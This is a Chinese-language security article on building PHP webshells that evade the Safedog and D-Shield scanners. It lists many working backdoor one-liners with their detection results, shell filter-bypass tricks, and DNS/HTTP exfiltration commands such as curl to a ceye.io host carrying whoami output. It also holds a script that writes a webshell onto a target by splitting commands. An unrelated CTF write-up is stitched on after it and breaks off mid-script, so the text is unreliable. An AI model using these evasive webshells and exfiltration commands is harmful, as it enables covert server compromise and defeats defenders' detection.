这种安装服务类基本都需要管理员权限；嫌弃麻烦可以自己建一个，用管理员权限执行cmd命令`net user administrator
/active:yes`
然后再登陆就发现多了个管理员用户啦
httpd -k install -n Apache2.4
安装成功后，再开启Apache服务，访问`http://localhost`出现下图就OK啦
httpd -k start #启动
httpd -k stop #停止
sc delete Apache2.4 #卸载
然而后面基本都采用PHPStudy 2018的集成环境，方便（新版的设置功能差了很多，不用）
## 安全狗与D盾安装
安全狗Apache版 V4.0.28330，[下载地址](https://www.downzaiba.com/rjxz/22272.html)
安全狗安装稍微特殊一点；首先PHPstudy的网络服务都关掉，然后到PHPstudy的Apache目录下，把Apache服务安装到系统：
httpd -k install -n Apache2.4
httpd -k start
和下图一样就好啦！服务里面有Apache2.4，且开启服务没问题，PHPstudy2018里面也是绿点就OK:smile:
然后就可以一路顺畅安装啦~安装完记得有几个选项要关掉：
自动更新
云安全计划
D盾V2.1.5.4，下载[地址](https://patch.ali213.net/showpatch/154705.html)；没啥特别的，EXE就能用
## 系统命令执行函数
### **exec()**
string exec ( string $command [, array &$output [, int &$return_var ]] )
**$command** 是要执行的命令
**`$output`** 是获得执行命令输出的每一行字符串， **`$return_var`** 用来保存命令执行的状态码（检测成功或失败）
**执行无回显，默认返回最后一行结果**
### **system()**
string system ( string $command [, int &$return_var ] )
**$command** 为执行的命令， **& return_var**可选，用来存放命令执行后的状态码
**执行有回显，将执行结果输出到页面上**
<?php
system("whoami");
?>
### **passthru()**
void passthru ( string $command [, int &$return_var ] )
和 **system函数** 类似， **$command** 为执行的命令， **& return_var**可选，用来存放命令执行后的状态码
**执行有回显，将执行结果输出到页面上**
<?php
passthru("whoami");
?>
### **shell_exec()**
string shell_exec( string &command)
**& command**是要执行的命令
**函数默认无回显，通过 echo 可将执行结果输出到页面**
<?php echo shell_exec("whoami");?>
### **反引号** `
**shell_exec() 函数实际上是反引号的变体，当禁用shell_exec时，也不可执行**
在php中称之为执行运算符，PHP 将尝试将反引号中的内容作为 shell 命令来执行，并将其输出信息返回
<?php echo `whoami`;?>
### popen()
resource popen ( string $command , string $mode )
函数需要两个参数，一个是执行的命令 **`command`** ，另外一个是指针文件的连接模式 **`mode`** ，有`r`和`w`代表读和写。
函数不会直接返回执行结果，而是返回一个文件指针，但是命令已经执行。
**popen()打开一个指向进程的管道，该进程由派生给定的`$command`命令执行而产生。返回一个和`fopen()`函数所返回的类似文件指针，只不过它是单向的（只能用于读或写）并且必须用`pclose()`来关闭。此指针可以用于`fgets()`，`fgetss()`和`fwrite()`**
<?php popen( 'whoami >> 1.txt', 'r' ); ?>
### proc_open()
定义如下
resource proc_open (
string $cmd ,
array $descriptorspec ,
array &$pipes [, string $cwd [, array $env [, array $other_options ]]]
)
一个例子
<?php
$test = "ipconfig";
$array = array(
array("pipe","r"), //标准输入
array("pipe","w"), //标准输出内容
array("pipe","w") //标准输出错误
);
$fp = proc_open($test,$array,$pipes); //打开一个进程通道
echo stream_get_contents($pipes[1]); //为什么是$pipes[1]，因为1是输出内容 stream_get_contents — 读取资源流到一个字符串
proc_close($fp);
?>
### pcntl_exec
void pcntl_exec( string $path[, array $args[, array $envs]] )
pcntl是php的多进程处理扩展，在处理大量任务的情况下会使用到，pcntl需要额外安装。
\$path为可执行程序路径 (/bin/bash)
\$args表示传递给$path程序的参数； 例如pcntl_exec(“/bin/bash” , array(“whoami”));
### ob_start
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函数将打开输出缓冲。当输出缓冲激活后，脚本将不会输出内容（除http标头外），相反需要输出的内容被存储在内部缓冲区中。想要输出存储在内部缓冲区中的内容，可以使用
ob_end_flush() 函数。
可选参数 $output_callback如果被指定。当输出缓冲区被( ob_flush(), ob_clean()
或者相似的函数)送出、清洗的时候；或者在请求结束之际该回调函数将会被调用。
当调用时，输出缓冲区的内容会被当做参数去执行，并返回一个新的输出缓冲区作为结果，并被送到浏览器。
<?php$cmd = 'system’; ob_start($cmd); echo "$_GET[a]"; ob_end_flush();
简单的说，以上代码中当运行ob_end_flush()后，$_GET[a]会被system()函数当作参数去运行，并返回运行的结果
## 代码执行函数
### Eval和Assert
eval() 不能作为函数名动态执行代码，官方说明如下：eval 是一个语言构造器而不是一个函数，不能被可变函数调用。
**可变函数** ：通过一个变量，获取其对应的变量值，然后通过给该值增加一个括号 ()，让系统认为该值是一个函数，从而当做函数来执行。比如 assert
可这样用：
$f='assert';$f(...);#未过D盾
此时 `$f` 就表示 `assert`，所以 `assert` 关键词更加灵活;
但是 PHP7 中，`assert` 也不再是函数了，变成了一个语言结构（类似`eval`），不能再作为函数名动态执行代码.
### 字符串变形
下面都将使用PHP5版本，方便用assert函数做演示
**substr()**
substr(string,start,length)
substr() 函数返回字符串的一部分
参数 | 描述
---|---
_string_ | 必需。规定要返回其中一部分的字符串。
_start_ | 必需。规定在字符串的何处开始。 **正数** – 在字符串的指定位置开始; **负数** – 在从字符串结尾开始的指定位置开始;
**0** – 在字符串中的第一个字符处开始
_length_ | 可选。规定被返回字符串的长度。默认是直到字符串的结尾。 **正数** – 从 _start_ 参数所在的位置返回的长度; **负数**
– 从字符串末端返回的长度
首先我们来一个基础的字符串拼接：
<?php
$a = 'a'.'s'.'s'.'e'.'r'.'t';
$a($_POST['x']);
?>
安全狗 | D盾
---|---
1 个安全风险 assert 变量函数 | 级别 5 变量函数后门
此时我们使用 substr() 函数稍微截断一下：
<?php
$a = substr('1a',1).'s'.'s'.'e'.'r'.'t';
$a($_POST['x']);
?>
安全狗 | D盾
---|---
0 个安全风险 | 级别 4变量函数后门(assert)
**strtr()**
strtr(string,from,to)
strtr() 函数转换字符串中特定的字符。
参数 | 描述
---|---
_string_ | 必需。规定要转换的字符串。
_from_ | 必需（除非使用数组）。规定要改变的字符。
_to_ | 必需（除非使用数组）。规定要改变为的字符。
_array_ | 必需（除非使用 _from_ 和 _to_ ）。数组，其中的键名是更改的原始字符，键值是更改的目标字符。
依然对字符串进行简单地处理一下：
<?php $a = strtr('azxcvt','zxcv','sser'); $a($_POST['x']);?>
此时就已经过掉安全狗了，D 盾检测级别降到了 1 级，检测结果如下：
安全狗 | D盾
---|---
0 个安全风险 | 级别 1 可疑变量函数
**substr_replace()**
substr_replace(string,replacement,start,length)
substr_replace() 函数把字符串 string 的一部分替换为另一个字符串 replacement。
参数 | 描述
---|---
_string_ | 必需。规定要检查的字符串。
_replacement_ | 必需。规定要插入的字符串。
_start_ | 必需。规定在字符串的何处开始替换。 **正数** – 在字符串中的指定位置开始替换; **负数** –
在从字符串结尾的指定位置开始替换; **0** – 在字符串中的第一个字符处开始替换
_length_ | 可选。规定要替换多少个字符。默认是与字符串长度相同。 **正数** – 被替换的字符串长度; **负数** –
表示待替换的子字符串结尾处距离 _string_ 末端的字符个数。 **0** – 插入而非替换
<?php $a = substr_replace("asxxx","sert",2); $a($_POST['x']);?>
安全狗 | D盾
---|---
0 个安全风险 | 级别 1 (可疑)变量函数
**trim()**
trim(string,charlist)
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
参数 | 描述
---|---
_string_ | 必需。规定要检查的字符串。
_charlist_ | 可选。规定从字符串中删除哪些字符。如果被省略，则移除以下所有字符 `\0` – NULL; `\t` – 制表符; `\n` –
换行; `\x0B` – 垂直制表符; `\r` – 回车; **空格**
<?php
$a = trim(' assert ');
$a($_POST['x']);
?>
安全狗 | D盾
---|---
0 个安全风险 | 级别 4 变量函数后门
### 函数绕过
函数可以把敏感关键词当做参数传递。
<?php
function sqlsec($a){
$a($_POST['x']);
}
sqlsec(assert);
?>
安全狗 | D盾
---|---
1 个安全风险 assert变量函数 | 级别 2 变量函数后门
但是换一种方式将`$_POST['x']`当做参数传递的话就都翻车了：
<?php function sqlsec($a){ assert($a); } sqlsec($_POST['x']);?>
安全狗 | D盾
---|---
1 个安全风险 assert PHP一句话后门 | 已知后门
### 回调函数
常⽤的回调函数⼤部分都无法绕过 WAF 了。
**call_user_func()**
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 `callback` 是被调用的回调函数，其余参数是回调函数的参数。
<?php call_user_func('assert',$_POST['x']);?>
安全狗 | D盾
---|---
1 个安全风险 call_user_func后门 | 级别 5 (内藏) call_user_func后门
**call_user_func_array()**
call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数（`callback`）调用，把参数数组作（`param_arr`）为回调函数的的参数传入。
<?php
call_user_func_array(assert,array($_POST['x']));
?>
不过安全狗和 D 盾都对这个函数进行检测了：
安全狗 | D盾
---|---
1 个安全风险 call_user_func_array回调后门 | 级别 4 call_user_func_array
**array_filter()**
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 `array` 数组中的每个值传递到 `callback` 函数。
如果 `callback` 函数返回 true，则 `array` 数组的当前值会被包含在返回的结果数组中，数组的键名保留不变。
<?php
array_filter(array($_POST['x']),'assert');
?>
依然无法 Bypass
安全狗 | D盾
---|---
1 个安全风险 array_filter后门 | 级别 5 array_filter后门
assert 手动 Base64 编码后传入，这样还会把 assert 关键词给去掉了：
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
?>
安全狗 | D盾
---|---
1 个安全风险 array_filter后门 | 级别 4 array_filter 参数
**array_map()**
array_map(myfunction,array1,array2,array3...)
参数 | 描述
---|---
_myfunction_ | 必需。用户自定义函数的名称，或者是 null。
_array1_ | 必需。规定数组。
_array2_ | 可选。规定数组。
_array3_ | 可选。规定数组。
array_map() 函数将用户自定义函数作用到数组中的每个值上，并返回用户自定义函数作用后的带有新值的数组。和 arrray_walk() 函数差不多：
<?php $e = $_REQUEST['e']; $arr = array($_POST['pass'],); array_map(base64_decode($e), $arr);?> # payload e=YXNzZXJ0&pass=system('dir');
依然被杀了，检测结果如下：
安全狗 | D盾
---|---
1 个安全风险 array_map执行 | 级别 5 已知后门
**array_walk()**
array_walk(array,myfunction,parameter...)
array_walk() 函数对数组中的每个元素应用用户自定义函数。在函数中，数组的键名和键值是参数。
参数 | 描述
---|---
_array_ | 必需。规定数组。
_myfunction_ | 必需。用户自定义函数的名称。
_userdata_ ,… | 可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。
简单案例：
<?phpfunction myfunction($value,$key){ echo "The key $key has the value $value<br>";}$a=array("a"=>"red","b"=>"green","c"=>"blue");array_walk($a,"myfunction");?>
运行结果如下：
The key a has the value red
The key b has the value green
The key c has the value blue
根据这个特性手动来写一个 webshell 试试看：
<?php
function sqlsec($value,$key)
{
$x = $key.$value;
$x($_POST['x']);
}
$a=array("ass"=>"ert");
array_walk($a,"sqlsec");
?>
这个 array_walk 有点复杂，这里用的是回调函数和自定义函数结合的姿势了。
安全狗 | D盾
---|---
0 个安全风险 | 级别 2 (可疑)变量函数
看了下网上其他姿势：
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['x'] => '|.*|e',);
array_walk($arr, $e, '');
?>
此时提交如下 payload 的话：
shell.php?e=preg_replace
最后就相当于执行了如下语句：
preg_replace('|.*|e',$_POST['x'],'')
这个时候只需要 POST `x=phpinfo();` 即可。这种主要是利用了 preg_replace 的 /e 模式进行代码执行。
不过这种方法已经凉了，安全狗和 D 盾均可以识别，而且这种 preg_replace 三参数后门的 `/e`模式 PHP5.5 以后就废弃了：
安全狗 | D盾
---|---
1 个安全风险 array_walk执行 | 级别 5 已知后门
不过 PHP 止中不止 preg_replace 函数可以执行 eval 的功能，还有下面几个类似的：
**mb_ereg_replace**
mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = "msr" ] ) : string
类似于 preg_replace 函数一样，也可以通过 e 修饰符来执行命令：
<?php mb_ereg_replace('\d', $_REQUEST['x'], '1', 'e');?>
**preg_filter**
mixed preg_filter ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
preg_filter() 等价于 preg_replace() ，但它仅仅返回与目标匹配的结果。
<?php preg_filter('|\d|e', $_REQUEST['x'], '2');?>
只是比较可惜，都无法过狗和D盾了。不过问题不大，感兴趣小伙伴可以去查阅 PHP 官方文档，还是可以找到类似函数的，可以过狗和D盾
<?php mb_eregi_replace('\d', $_REQUEST['x'], '1', 'e');?>
**array_walk_recursive()**
array_walk_recursive(array,myfunction,parameter...)
array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。该函数与
array_walk()函数的不同在于可以操作更深的数组（一个数组中包含另一个数组）。
参数 | 描述
---|---
_array_ | 必需。规定数组。
_myfunction_ | 必需。用户自定义函数的名称。
_userdata_ ,… | 可选。规定用户自定义函数的参数。您能够向此函数传递任意多参数。
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
?>
安全狗 | D盾
---|---
1 个安全风险 php后门回调木马 | 级别 5 已知后门
**array_reduce()**
array_reduce(array,myfunction,initial)
array_reduce() 函数向用户自定义函数发送数组中的值，并返回一个字符串。
参数 | 描述
---|---
_array_ | 必需。规定数组。
_myfunction_ | 必需。规定函数的名称。
_initial_ | 可选。规定发送到函数的初始值。
<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['x']);
?>
<?php
function sqlsec($value,$key)
{
$x = $key.$value;
print_r($x);
$x($_POST['x']);
}
$a=array("assert");
array_reduce($a,"sqlsec");
?>
POST 提交如下数据：`e=assert&x=phpinfo();` 但是目前已经无法过狗了。
安全狗 | D盾
---|---
1 个安全风险 array_reduce执行 | 级别 5 已知后门
**array_udiff()**
array_diff(array1,array2,myfunction...);
array_diff() 函数返回两个数组的差集数组。该数组包括了所有在被比较的数组中，但是不在任何其他参数数组中的键值。在返回的数组中，键名保持不变。
参数 | 描述
---|---
_array1_ | 必需。与其他数组进行比较的第一个数组。
_array2_ | 必需。与第一个数组进行比较的数组。
myfunction | 回调对照函数。
<?php $e = $_REQUEST['e']; $arr = array($_POST['x']); $arr2 = array(1); array_udiff($arr, $arr2, $e);?>
POST 提交如下数据：`e=assert&x=phpinfo();` 但是目前已经无法过狗。
安全狗 | D盾
---|---
1 个安全风险 php后门回调木马 | 级别 5 已知后门
**uasort()**
uasort(array,myfunction);
uasort() 函数使用用户自定义的比较函数对数组排序，并保持索引关联（不为元素分配新的键）。如果成功则返回 TRUE，否则返回
FALSE。该函数主要用于对那些单元顺序很重要的结合数组进行排序。
参数 | 描述
---|---
_array_ | 必需。规定要进行排序的数组。
_myfunction_ | 可选。定义可调用比较函数的字符串。如果第一个参数小于等于或大于第二个参数，那么比较函数必须返回一个小于等于或大于 0 的整数。
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['x']);
uasort($arr, base64_decode($e));
?>
POST 提交的数据如下：`e=YXNzZXJ0&x=phpinfo();` 这个后门在 PHP 5.3之后可以正常运行，5.3 会提示 assert
只能有1个参数，这是因为 assert 多参数是后面才开始新增的内容，PHP 5.4.8 及更高版本的用户也可以提供第四个可选参数，如果设置了，用于将
`description` 指定到 **assert()** 。
安全狗 | D盾
---|---
1 个安全风险 PHP回调木马 | 级别 4 uasort 参数
**uksort()**
uksort(array,myfunction);
uksort() 函数通过用户自定义的比较函数对数组按键名进行排序。
参数 | 描述
---|---
_array_ | 必需。规定要进行排序的数组。
_myfunction_ | 可选。定义可调用比较函数的字符串。如果第一个参数小于等于或大于第二个参数，那么比较函数必须返回一个小于等于或大于 0 的整数。
<?php $e = $_REQUEST['e']; $arr = array('test' => 1, $_REQUEST['x'] => 2); uksort($arr, $e);?>
POST 的内容如下：`e=assert&x=phpinfo();` 该方法也不能 Bypass 安全狗了：
安全狗 | D盾
---|---
1 个安全风险 php后门回调木马 | 级别 5 已知后门
**registregister_shutdown_function()**
register_shutdown_function ( callable $callback [, mixed $... ] ) : void
注册一个 `callback` ，它会在脚本执行完成或者
[exit()](https://www.php.net/manual/zh/function.exit.php) 后被调用。
<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['x']);
?>
安全狗 | D盾
---|---
1 个安全风险 php后门回调木马 | 级别 5 已知后门
**register_tick_function()**
register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool
注册在调用记号时要执行的给定函数。
<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['x']);
?>
#上面程序中“declare(ticks=1);”代表，每执行一条低级语句，就触发register_tick_function中注册的函数
安全狗 | D盾
---|---
1 个安全风险 php后门回调木马 | 级别 5 已知后门
**filter_var()**
filter_var(variable, filter, options)
filter_var() 函数通过指定的过滤器过滤变量。
参数 | 描述
---|---
variable | 必需。规定要过滤的变量。
filter | 可选。规定要使用的过滤器的 ID。
options | 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。
<?php
filter_var($_REQUEST['x'], FILTER_CALLBACK, array('options' => 'assert'));
?>
安全狗 | D盾
---|---
1 个安全风险 php后门回调木马 | 级别 5 已知后门
**filter_var_array()**
filter_var_array(array, args)
filter_var_array() 函数获取多项变量，并进行过滤。
参数 | 描述
---|---
array | 必需。规定带有字符串键的数组，包含要过滤的数据。
args | 可选。规定过滤器参数数组。合法的数组键是变量名。合法的值是过滤器 ID，或者规定过滤器、标志以及选项的数组。该参数也可以是一个单独的过滤器
ID，如果是这样，输入数组中的所有值由指定过滤器进行过滤。
<?php
filter_var_array(array('test' => $_REQUEST['x']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
?>
安全狗 | D盾
---|---
0级 | 级别 5 已知后门
## 异或
P 神的文章 [一些不包含数字和字母的webshell](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html#) 里面提到了三种异或的姿势；但目前只有第一种方法可以过狗
所以只重点来看一下第一种姿势，也就是异或
国光师傅写好了一个脚本，除了字母以外的ASCII字符任意异或，能得到字母的就输出
import string
from urllib.parse import quote
keys = list(range(65)) + list(range(91,97)) + list(range(123,127))
results = []
for i in keys:
for j in keys:
asscii_number = i^j
if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122):
if i < 32 and j < 32:
temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
elif i < 32 and j >=32:
temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
elif i >= 32 and j < 32:
temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
else:
temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number))
results.append(temp)
results.sort(key=lambda x:x[1], reverse=False)
for low_case in string.ascii_lowercase:
for result in results:
if low_case in result:
print(result[0])
for upper_case in string.ascii_uppercase:
for result in results:
if upper_case in result:
print(result[0])
然后执行命令，就能看见各种排列组合
python3 try.py > Result.txt
根据这个受了启发，GitHub上写了个混淆脚本
## PHP7免杀脚本制作
eval和assert都变成了语言结构，无法成为可变函数了….所以PHP7开始免杀资料就销声匿迹了-=-
故而PHP7常用的技术重点不在隐藏函数名（也没必要，已经藏不了了）
PHP7支持`(可变函数名)(参数)`这样的用法
<?php
$a='system';
($a)($_REQUEST['cmd']);
?>
我已经自写了个工具，项目见[GitHub](https://github.com/Great-Wan/WebShell_Confuse_and_Command_Split)
## 命令执行绕过
Linux下一些命令操作符的科普
> 1. cmd1 | cmd2 (|管道操作符)将cmd1的结果输出给cmd2
> 2. cmd1 & cmd2 (&和号操作符)让命令在后台运行
> 3. cmd1 ; cmd2 (; 分号操作符)执行多条命令
> 4. cmd1 && cmd2 (&& 与操作符)只有cmd1命令执行成功后，才会执行cmd2
> 5. cmd1 || cmd2 (|| 或操作符)cmd1执行失败，才会执行cmd2
>
### **空格绕过**
**字符串拼接**
IFS(内部域分隔)，是Shell的内置变量，是一个用于分割字段的字符列表，默认值是空白(包括空格、tab、换行)
可以有以下变形:
cat$IFS$数字a.txtcat${IFS}a.txtcat$IFS'a.txt'
**使用{}**
例如{cat,a.txt}
**使用Tab，PHP环境下可用**
cat%09/etc/passwd
**在读取文件的时候利用重定向符 <>**
cat<>text cat<text
### 黑名单关键字绕过
**字符串拼接**
a=c;b=at;c=a;d=txt;$a$b $c.$da=c;b=at;c=a;d=txt;$a$b ${c}.${d}
**利用环境变量取值**
echo ${SHELLOPTS}braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitorecho ${SHELLOPTS:3:1}c${SHELLOPTS:3:1}at a.txtHello!
**使用空变量**
c${z}at a.txt
**利用通配符**
/bin/ca? a*Hello!
这里要注意，你使用的命令补全时会不会存在歧义，比如ca补全时，三个字母的有`cal`和`cat`两种
cal的路径和cat的路径完全不一样，这也是这里为什么要指定路径的缘故
**使用反斜杠**
\ 在bash中被解释为转义字符，用于去除一个单个字符的特殊意义；它保留了跟随在之后的字符的字面值，除了换行符。
如果在反斜线之后出现换行字符，转义字符使行得以继续。
wzf@wzf-virtual-machine:~$ ca\> t a.txtHello!wzf@wzf-virtual-machine:~$ ca\t a.txtHello!
**Base64编码**
wzf@wzf-virtual-machine:~$ echo at | base64YXQKwzf@wzf-virtual-machine:~$ c$(echo YXQK | base64 -d) a.txtHello!
**其他占位符**
其实核心都是为了占个位置罢了,下面这些都行的
wzf@wzf-virtual-machine:~$ c`echo a`t a.txtHello!wzf@wzf-virtual-machine:~$ c``at a.txtHello!wzf@wzf-virtual-machine:~$ c''at a.txtHello!wzf@wzf-virtual-machine:~$ c""at a.txt Hello!wzf@wzf-virtual-machine:~$ c$(echo '')at a.txtHello!wzf@wzf-virtual-machine:~$ c`echo a`t a.txtHello!
### 无回显绕过
其实都大同小异，使用dnslog、ceye这类的外带网站或者BP Collaborator进行外带操作
dnslog适合一次性使用，无须注册；Ceye适合多次使用，需要注册。都是免费的~
PS:ceye是真的慢啊=.=
**使用HTTP协议**
curl 34kk35.ceye.io/`whoami`
或者加上编码也可
curl 34kk35.ceye.io/$(whoami | base64)
**使用DNS**
dig `whoami`.34kk35.ceye.io
### 后续用到的马
<?php $cmd = $_POST['cmd']; system($cmd);?>
如果没有特殊指出，基本上用到的马都是这个哦
### 拆分
其实一开始的想法就是把命令拆分然后发出去…顺带还能过WAF，所以一时兴起写了它
Linux下很简单就不写了，重点写个Windows；有一些DOS语法糖~看不懂的可以私信
#Windows下写马脚本，用以命令拆分~import requestsfrom loguru import loggersession=requests.Session()command=f'<?php eval($_GET[s]);?>'blacklist=['<','>','>>','@','[',']',';',':','(',')','$','&','|','&&','||','+','-','~','*','/','?']def run(chuan): url = "http://192.168.85.142:80/" headers = { "Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close" } data = {"cmd": chuan} try: res=session.post(url, headers=headers, data=data) print(res.text) except Exception as e: logger.exception(e)def judge(c): if c in blacklist: run(f'set /p=^{c}<nul>>1') else: run(f'set /p={c}<nul>>1')for i in range(0,len(command)): if i+1 != len(command) and command[i+1] == ' ': judge(command[i]+command[i+1]) elif command[i] != ' ': judge(command[i]) else: continue
这样就能成功写进去了
当然，还是有几个缺点的：
1. 由于命令行里面0~9单个数字是有特殊用处的，所以不能出现单个数字（两位及以上就正常了）
2. 因为得按序写，无法使用多线程-=-如果命令相当长+网络环境不好得蛮久
3. 黑名单是自己想了一些DOS特殊符号，并不是很全；大家有补充可以填进去
### 拆分思路扩展
**一个CTF题学习代码执行拆分**
比如有以下限制
<?php $cmd = $_POST['cmd']; if(strlen($cmd) < 长度){ eval($cmd); }?>
**长度要求小于17**
可以这么嵌套用，刚好cmd的长度为16
按道理这里不需要eval，但是不加eval并不会执行…调试也没发现为什么
cmd=eval($_POST[1]);&1=system('dir c:\*');
**长度要求小于15**
可以直接改成GET方式
或者可以采取其他方式：如果是Linux下需要执行 echo \<?php eval($_GET[1]);?>>1
echo \<?php >1echo eval\(>>1echo \$_GET>>1echo \[1\]>>1echo \)\;?>>1
**时间倒序写入**
通过
>命令内容\\
来写入空文件，再将空文件目录按照时间顺序进行排列；再写入到命令集合文件a中
最后利用`sh a` 来执行a文件中的命令，来突破长度限制
有几个注意事项：
* .为linux隐藏文件，不能作为文件开头
* 我们需要按照时间顺序来排序最后的结果，ls默认以字母排序
我已经写好了一个脚本，放在了Github上~
<https://github.com/Great-Wan/WebShell_Confuse_and_Command_Split>
可以用它自动化完成这一操作
## 参考链接
[独特的免杀思路](http://uuzdaisuki.com/2021/05/11/webshell%E5%85%8D%E6%9D%80%E7%A0%94%E7%A9%B6php%E7%AF%87/)
[PHP7后的免杀思路](https://www.anquanke.com/post/id/193787)
[较全的PHP5、PHP7免杀浅谈](https://www.freebuf.com/articles/network/279563.html)
[国光的PHPWebshell免杀总结](https://www.sqlsec.com/2020/07/shell.html#toc-heading-24)
[Windows与Linux的Apache安装](https://cloud.tencent.com/developer/article/1698069)
[P神的无字母数字WebShell](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=1#reply-list)
[P神的无字母数字Webshell续](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=1#reply-list)
[绕过小结](https://www.mi1k7ea.com/2019/06/30/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5Bypass%E6%8A%80%E5%B7%A7%E5%B0%8F%E7%BB%93/#0x01-%E7%A9%BA%E6%A0%BC%E8%BF%87%E6%BB%A4Bypass)
[命令注入长度绕过CTF题](https://www.cnblogs.com/-chenxs/p/11981586.html)
[命令注入小结](https://www.mi1k7ea.com/2019/06/30/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5Bypass%E6%8A%80%E5%B7%A7%E5%B0%8F%E7%BB%93/)
还有一些博客在查阅资料时疏于记录，但同样给予了重大改进；在此表达真挚的感谢！ | 社区文章 |
# 巅峰极客线上赛部分WP
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## misc
### 1、签到
说了GAME，所以AES密钥为GAME，到<https://aghorler.github.io/emoji-aes/> emjio-aes解密即可
flag{10ve_4nd_Peace}
## Crypto
### 1、MedicalImage
分析给出的代码，读入图片后首先对一些位进行了互换，然后进行异或加密，而异或加密的初始密钥是随机生成的，但是生成两个随机数都是有一定范围的，所以可以遍历所有可能，对图片进行解密
from decimal import *
from math import log
from PIL import Image
import numpy as np
getcontext().prec = 20
def f1(x):
# It is based on logistic map in chaotic systems
# 它基于混沌系统中的logistic映射
# The parameter r takes the largest legal value
# 参数r取最大的合法值
assert(x>=0)
assert(x<=1)
return x * 4 * (1 - x)
def f2(x):
# same as f1
assert(x>=0)
assert(x<=1)
return x * 4 * (1 - x)
def f3(x):
# same as f1
assert(x>=0)
assert(x<=1)
return x * 4 * (1 - x)
def decryptImage(pic,size,config):
w,h = size
r1 = Decimal('0.478706063089473894123')
r2 = Decimal('0.613494245341234672318')
r3 = Decimal('0.946365754637812381837')
for i in range(200):
r1 = f1(r1)
r2 = f2(r2)
r3 = f3(r3)
const = 10**14
p0,c0=config
for x in range(w):
for y in range(h):
k = int(round(const*r3))%256
k = bin(k)[2:].ljust(8,'0') # bin()函数返回二进制形式，并对齐为8位形式，位数不够前补0
k = int(k[p0%8:]+k[:p0%8],2)
r3 = f3(r3)
p0 = ((pic[y,x]^c0^k)-k)%256
c0 = pic[y,x]
pic[y,x] = p0
# 互换
count = 0 #
pos_list = []
for x in range(w):
for y in range(h):
x1 = int(round(const*r1))%w # round()函数四舍五入
y1 = int(round(const*r2))%h
pos_list.append((x1, y1))
r1 = f1(r1)
r2 = f2(r2)
count += 1 #
count -= 1
for x in range(w-1,-1,-1):
for y in range(h-1,-1,-1):
x1,y1 = pos_list[count]
tmp = pic[y,x]
pic[y,x] = pic[y1,x1]
pic[y1,x1] = tmp
count -= 1
return pic,size
def outputImage(path,pic,size):
im = Image.new('P', size,'white')
pixels = im.load()
for i in range(im.size[0]):
for j in range(im.size[1]):
pixels[i,j] = (int(pic[j][i]))
im.save(path)
if __name__ == '__main__':
dec_img = 'flag_enc.bmp'
out_im = 'flag_dec'
im = Image.open(dec_img)
size = im.size
pic = np.array(im)
im.close()
k = 0
for i in range(100, 105):
for j in range(200, 205):
config = (i, j)
de_pic, de_size = decryptImage(pic, size, config)
temp_out_im = out_im + str(k) + '.bmp'
k += 1
outputImage(temp_out_im,de_pic,de_size)
### 2、learnSM4
这道题是非预期解，两次暴力破解sha256即可。第一次需要破解4位，解空间较小，可以使用pwntool中的函数进行破解，第二次需要破解10位，使用在线破解网站[https://www.cmd5.com/进行破解（需要付费）](https://www.cmd5.com/%E8%BF%9B%E8%A1%8C%E7%A0%B4%E8%A7%A3%EF%BC%88%E9%9C%80%E8%A6%81%E4%BB%98%E8%B4%B9%EF%BC%89)
import socket
from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
def main():
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sk.connect(('47.104.94.208', 54740))
msg = sk.recv(1024).decode()
suffix = msg[12:msg.find(')')]
cipher = msg[msg.find('==') + 3:-1]
msg = sk.recv(1024).decode()
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sk.send((proof + '\n').encode())
